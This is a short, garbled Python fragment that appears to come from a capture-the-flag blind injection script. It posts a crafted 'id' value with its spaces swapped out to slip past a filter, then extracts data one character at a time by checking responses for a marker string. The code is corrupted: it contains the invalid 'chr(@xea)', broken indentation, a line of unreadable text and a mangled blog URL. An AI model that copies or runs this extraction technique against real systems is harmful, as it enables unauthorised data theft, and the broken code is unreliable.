flag = flag.replace(' ', chr(@xea))
key = {'id':flag}
r = requests.post(url, data=key).text
print(key)
if strl in r:

data += j
print(j)
break

print(data)

IR Aib13fz, FTEIAA BRI H K
https://www.cnblogs.com/Ragd011l/p/8684767.html

https://www.jianshu.com/p/11£409992681
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